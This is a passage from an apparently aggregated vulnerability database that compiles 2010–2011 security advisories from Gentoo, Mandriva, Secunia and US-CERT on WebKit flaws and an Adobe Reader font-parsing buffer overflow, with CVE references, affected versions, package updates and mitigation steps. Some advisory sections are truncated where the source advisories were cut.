http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-2526
[ 22 ] CVE-2010-2901
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-2901
[ 23 ] CVE-2010-3255
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3255
[ 24 ] CVE-2010-3257
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3257
[ 25 ] CVE-2010-3259
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3259
[ 26 ] CVE-2010-3362
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3362
[ 27 ] CVE-2010-3374
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3374
[ 28 ] CVE-2010-3389
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3389
[ 29 ] CVE-2010-3812
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3812
[ 30 ] CVE-2010-3813
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3813
[ 31 ] CVE-2010-3999
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3999
[ 32 ] CVE-2010-4042
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4042
[ 33 ] CVE-2010-4197
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4197
[ 34 ] CVE-2010-4198
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4198
[ 35 ] CVE-2010-4204
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4204
[ 36 ] CVE-2010-4206
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4206
[ 37 ] CVE-2010-4492
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4492
[ 38 ] CVE-2010-4493
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4493
[ 39 ] CVE-2010-4577
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4577
[ 40 ] CVE-2010-4578
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-4578
[ 41 ] CVE-2011-0007
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0007
[ 42 ] CVE-2011-0465
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0465
[ 43 ] CVE-2011-0482
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0482
[ 44 ] CVE-2011-0721
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0721
[ 45 ] CVE-2011-0727
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0727
[ 46 ] CVE-2011-0904
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0904
[ 47 ] CVE-2011-0905
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0905
[ 48 ] CVE-2011-1072
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1072
[ 49 ] CVE-2011-1097
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1097
[ 50 ] CVE-2011-1144
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1144
[ 51 ] CVE-2011-1425
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1425
[ 52 ] CVE-2011-1572
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1572
[ 53 ] CVE-2011-1760
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1760
[ 54 ] CVE-2011-1951
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1951
[ 55 ] CVE-2011-2471
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2471
[ 56 ] CVE-2011-2472
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2472
[ 57 ] CVE-2011-2473
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2473
[ 58 ] CVE-2011-2524
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2524
[ 59 ] CVE-2011-3365
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3365
[ 60 ] CVE-2011-3366
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3366
[ 61 ] CVE-2011-3367
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3367
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201412-09.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2014 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. ----------------------------------------------------------------------
Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM)
| VAR-201009-0249 | CVE-2010-1781 | iPhone and iPod touch Run on Apple iOS of WebKit Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Double free vulnerability in WebKit in Apple iOS before 4.1 on the iPhone and iPod touch allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors related to the rendering of an inline element. WebKit for Apple iPhone/iPod touch is vulnerable to a remote code-execution vulnerability.
Successfully exploiting this issue may allow attackers to crash the affected device or execute arbitrary code. Other attacks are also possible.
This issue affects iOS 2.0 through 4.0.2 for iPhone 3G and later and iOS 2.1 through 4.0.2 for iPod touch (2nd generation) and later.
NOTE: This issue was previously discussed in BID 43070 (Apple iPhone/iPod touch Prior to iOS 4.1 Multiple Vulnerabilities) but has been given its own records to better document it. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
_______________________________________________________________________
Mandriva Linux Security Advisory MDVSA-2011:039
http://www.mandriva.com/security/
_______________________________________________________________________
Package : webkit
Date : March 2, 2011
Affected: 2010.1
_______________________________________________________________________
Problem Description:
Multiple cross-site scripting, denial of service and arbitrary code
execution security flaws were discovered in webkit.
Please consult the CVE web links for further information.
_______________________________________________________________________
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2797
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2841
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0046
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0047
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0048
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0049
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0050
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0051
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0052
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0053
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0054
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0314
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0647
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0650
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0651
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0656
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1386
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1387
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1389
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1390
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1391
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1392
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1393
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1394
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1395
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1396
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1397
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1398
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1400
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1401
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1402
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1403
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1404
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1405
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1406
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1407
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1408
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1409
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1410
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1412
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1414
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1415
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1416
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1417
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1418
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1419
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1421
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1422
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1501
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1664
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1665
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1758
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1759
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1760
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1761
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1762
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1764
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1766
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1767
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1770
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1771
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1772
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1773
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1774
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1780
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1781
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1782
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1783
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1784
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1785
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1786
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1787
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1788
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1790
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1791
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1792
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1793
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1812
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1814
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1815
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2264
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2647
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2648
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3113
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3114
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3115
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3116
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3119
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3248
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3255
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3257
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3259
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3812
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3813
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4040
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4197
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4198
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4204
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4206
_______________________________________________________________________
Updated Packages:
Mandriva Linux 2010.1:
141f3cd181b875d1bb40b67a507b6db1 2010.1/i586/libwebkitgtk1.0_2-1.2.7-0.1mdv2010.2.i586.rpm
054886a3c645b3ce710b9b9daec1d5f9 2010.1/i586/libwebkitgtk1.0-devel-1.2.7-0.1mdv2010.2.i586.rpm
bef556ca3f281f6ef4086292c3b658d2 2010.1/i586/webkit1.0-1.2.7-0.1mdv2010.2.i586.rpm
a1ff7ac638646aeb64e3bbdca9bc945d 2010.1/i586/webkit1.0-webinspector-1.2.7-0.1mdv2010.2.i586.rpm
3f40e3ebc62bad67097a9e102e0e79c2 2010.1/i586/webkit-1.2.7-0.1mdv2010.2.i586.rpm
50875cf1bc8718cedce1a45dc509b44b 2010.1/i586/webkit-gtklauncher-1.2.7-0.1mdv2010.2.i586.rpm
625d27780d1cc9edb935d4ac3521ae16 2010.1/i586/webkit-jsc-1.2.7-0.1mdv2010.2.i586.rpm
8d02c28d8f21a022130be4c49f9d27be 2010.1/SRPMS/webkit-1.2.7-0.1mdv2010.2.src.rpm
Mandriva Linux 2010.1/X86_64:
5ce57cd6ab823f8084030033c7c230d7 2010.1/x86_64/lib64webkitgtk1.0_2-1.2.7-0.1mdv2010.2.x86_64.rpm
690d8718a97af93f58de3bb2357fbe9b 2010.1/x86_64/lib64webkitgtk1.0-devel-1.2.7-0.1mdv2010.2.x86_64.rpm
7cc1d4aa77e1901ccc92f27faf85c9ea 2010.1/x86_64/webkit1.0-1.2.7-0.1mdv2010.2.x86_64.rpm
2b77a77159529c55f64343aba98c15d9 2010.1/x86_64/webkit1.0-webinspector-1.2.7-0.1mdv2010.2.x86_64.rpm
475cf83c5ddd8f6809c2c73a1f5a71d1 2010.1/x86_64/webkit-1.2.7-0.1mdv2010.2.x86_64.rpm
b0f1c76107c3d54241daa7e61bfb29a9 2010.1/x86_64/webkit-gtklauncher-1.2.7-0.1mdv2010.2.x86_64.rpm
97deff5e94a625a79842b4c240b0b00d 2010.1/x86_64/webkit-jsc-1.2.7-0.1mdv2010.2.x86_64.rpm
8d02c28d8f21a022130be4c49f9d27be 2010.1/SRPMS/webkit-1.2.7-0.1mdv2010.2.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrivaUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you.
All packages are signed by Mandriva for security. You can obtain the
GPG public key of the Mandriva Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandriva Linux at:
http://www.mandriva.com/security/advisories
If you want to report vulnerabilities, please contact
security_(at)_mandriva.com
_______________________________________________________________________
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Mandriva Security Team
<security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iD8DBQFNbgbemqjQ0CJFipgRAs9YAJ92z2WSC2ijj34b/wr42OIYLtv65gCg7XgL
Yv/ButpYAcXsmnJWUG4ayxQ=
=GRM6
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
. ----------------------------------------------------------------------
Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM).
For more information:
SA40257
SA41328
SA42151
SA42312
SOLUTION:
Upgrade to iOS 4.2 (downloadable and installable via iTunes). ----------------------------------------------------------------------
Windows Applications Insecure Library Loading
The Official, Verified Secunia List:
http://secunia.com/advisories/windows_insecure_library_loading/
The list is continuously updated as we confirm the vulnerability reports so check back regularly too see if any of your apps are affected.
----------------------------------------------------------------------
TITLE:
Ubuntu update for webkit
SECUNIA ADVISORY ID:
SA41856
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/41856/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=41856
RELEASE DATE:
2010-10-21
DISCUSS ADVISORY:
http://secunia.com/advisories/41856/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/41856/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=41856
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Ubuntu has issued an update for webkit. This fixes multiple
vulnerabilities, some of which have an unknown impact while others
can be exploited by malicious people to bypass certain security
restrictions, disclose sensitive information, conduct spoofing or
cross-site scripting attacks, and potentially compromise a user's
system.
For more information:
SA36677
SA37346
SA37769
SA37931
SA38545
SA38932
SA39091
SA39651
SA40105
SA40196
SA40479
SA40664
SA41014
SA41085
SA41242
SA41328
SOLUTION:
Apply updated packages.
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
ORIGINAL ADVISORY:
USN-1006-1:
http://www.ubuntu.com/usn/usn-1006-1
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201009-0242 | CVE-2010-2883 | Adobe Reader and Acrobat Font Parsing Buffer Overflow Vulnerability |
CVSS V2: 9.3 CVSS V3: 7.3 Severity: HIGH |
Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010. NOTE: some of these details are obtained from third party information. Adobe Reader and Acrobat contains a buffer overflow vulnerability. Adobe Reader and Acrobat for, CoolType.dll There is a buffer overflow vulnerability due to the font analysis code of this application. Attacks exploiting this vulnerability have been confirmed.Crafted PDF When a user views the document, arbitrary code may be executed or a denial of service may occur. (DoS) You may be attacked.
An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. ----------------------------------------------------------------------
Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM). This fixes multiple
vulnerabilities, which can be exploited by malicious, local users to
gain escalated privileges and by malicious people to compromise a
user's system.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA10-279A
Adobe Reader and Acrobat Affected by Multiple Vulnerabilities
Original release date: October 06, 2010
Last revised: --
Source: US-CERT
Systems Affected
* Adobe Reader 9.3.4 and earlier versions for Windows, Macintosh, and UNIX
* Adobe Acrobat 9.3.4 and earlier versions for Windows and Macintosh
* Adobe Reader 8.2.4 and earlier versions for Windows, Macintosh, and UNIX
* Adobe Acrobat 8.2.4 and earlier versions for Windows and Macintosh
Overview
Adobe has released Security Bulletin APSB10-21, which describes
multiple vulnerabilities affecting Adobe Reader and Acrobat.
I.
An attacker could exploit these vulnerabilities by convincing a
user to open a specially crafted PDF file. The Adobe Reader browser
plug-in, which can automatically open PDF documents hosted on a
website, is available for multiple web browsers and operating
systems.
II.
III. Solution
Update
Adobe has released updates to address this issue. Acrobat JavaScript can be disabled using the
Preferences menu (Edit -> Preferences -> JavaScript; uncheck Enable
Acrobat JavaScript).
Adobe provides a framework to blacklist specific JavaScipt APIs. If
JavaScript must be enabled, this feature may be useful when
specific APIs are known to be vulnerable or used in attacks.
Prevent Internet Explorer from automatically opening PDF files
The installer for Adobe Reader and Acrobat configures Internet
Explorer to automatically open PDF files without any user
interaction. This behavior can be reverted to a safer option that
prompts the user by importing the following as a .REG file:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\AcroExch.Document.7]
"EditFlags"=hex:00,00,00,00
Disable the display of PDF files in the web browser
Preventing PDF files from opening inside a web browser will
partially mitigate this vulnerability. If this workaround is
applied, it may also mitigate future vulnerabilities.
To prevent PDF files from automatically being opened in a web
browser, do the following:
1.
2. Open the Edit menu.
3. Choose the Preferences option.
4. Choose the Internet section.
5. Uncheck the "Display PDF in browser" checkbox.
Do not access PDF files from untrusted sources
Do not open unfamiliar or unexpected PDF files, particularly those
hosted on websites or delivered as email attachments. Please see
Cyber Security Tip ST04-010.
IV. Please send
email to <cert@cert.org> with "TA10-279A Feedback VU#491991" in
the subject.
____________________________________________________________________
For instructions on subscribing to or unsubscribing from this
mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
____________________________________________________________________
Produced 2010 by US-CERT, a government organization.
Terms of use:
<http://www.us-cert.gov/legal.html>
____________________________________________________________________
Revision History
October 06, 2010: Initial release
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)
iQEVAwUBTKxxvD6pPKYJORa3AQIL3wgAp2tynQw73VA+B70fuEl+os17BeVaP8zn
5aoWS6QBRx+Q8Ijw1wnKT1sF4IWaDWTWqPo0yt6MLx8WwO2ei8WaB+aMOwy9ZBo3
BbCOPSM63/3jBrJuCDs4x2PhZDzg2GJf4Zw8NN2oCSOXMxYGhx16QQzo2lY35CBJ
cvCSiLtNQuqpnvNMi2DJhArwxStK9Un2fli7IqwXzC6+RIgrk1l/EAM/6CO2+AwJ
Se0bDWBjwR5YverLEXoLuBbF0lHvQ0+V/vT5Q/zBDYUwcWkBL2n7NwdbKI9pYZxL
8Te7YapqAnMNgI1/PnYI/W369Vq3U6QoQVVR9ZoyLGw8x0A57cpU2g==
=Rc0h
-----END PGP SIGNATURE-----
. ----------------------------------------------------------------------
Windows Applications Insecure Library Loading
The Official, Verified Secunia List:
http://secunia.com/advisories/windows_insecure_library_loading/
The list is continuously updated as we confirm the vulnerability reports so check back regularly too see if any of your apps are affected.
----------------------------------------------------------------------
TITLE:
Adobe Reader / Acrobat Font Parsing Buffer Overflow Vulnerability
SECUNIA ADVISORY ID:
SA41340
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/41340/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=41340
RELEASE DATE:
2010-09-08
DISCUSS ADVISORY:
http://secunia.com/advisories/41340/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/41340/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=41340
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been discovered in Adobe Reader, which can be
exploited by malicious people to compromise a user's system.
The vulnerability is confirmed in versions 8.2.4 and 9.3.4.
SOLUTION:
Do not open untrusted files.
PROVIDED AND/OR DISCOVERED BY:
Reported as a 0-day.
ORIGINAL ADVISORY:
http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201101-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: Adobe Reader: Multiple vulnerabilities
Date: January 21, 2011
Bugs: #336508, #343091
ID: 201101-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities in Adobe Reader might result in the execution
of arbitrary code. For further
information please consult the CVE entries and the Adobe Security
Bulletins referenced below.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All Adobe Reader users should upgrade to the latest stable version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-text/acroread-9.4.1"
References
==========
[ 1 ] APSB10-21
http://www.adobe.com/support/security/bulletins/apsb10-21.html
[ 2 ] APSB10-28
http://www.adobe.com/support/security/bulletins/apsb10-28.html
[ 3 ] CVE-2010-2883
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2883
[ 4 ] CVE-2010-2884
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2884
[ 5 ] CVE-2010-2887
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2887
[ 6 ] CVE-2010-2889
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2889
[ 7 ] CVE-2010-2890
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2890
[ 8 ] CVE-2010-3619
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3619
[ 9 ] CVE-2010-3620
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3620
[ 10 ] CVE-2010-3621
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3621
[ 11 ] CVE-2010-3622
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3622
[ 12 ] CVE-2010-3625
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3625
[ 13 ] CVE-2010-3626
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3626
[ 14 ] CVE-2010-3627
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3627
[ 15 ] CVE-2010-3628
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3628
[ 16 ] CVE-2010-3629
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3629
[ 17 ] CVE-2010-3630
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3630
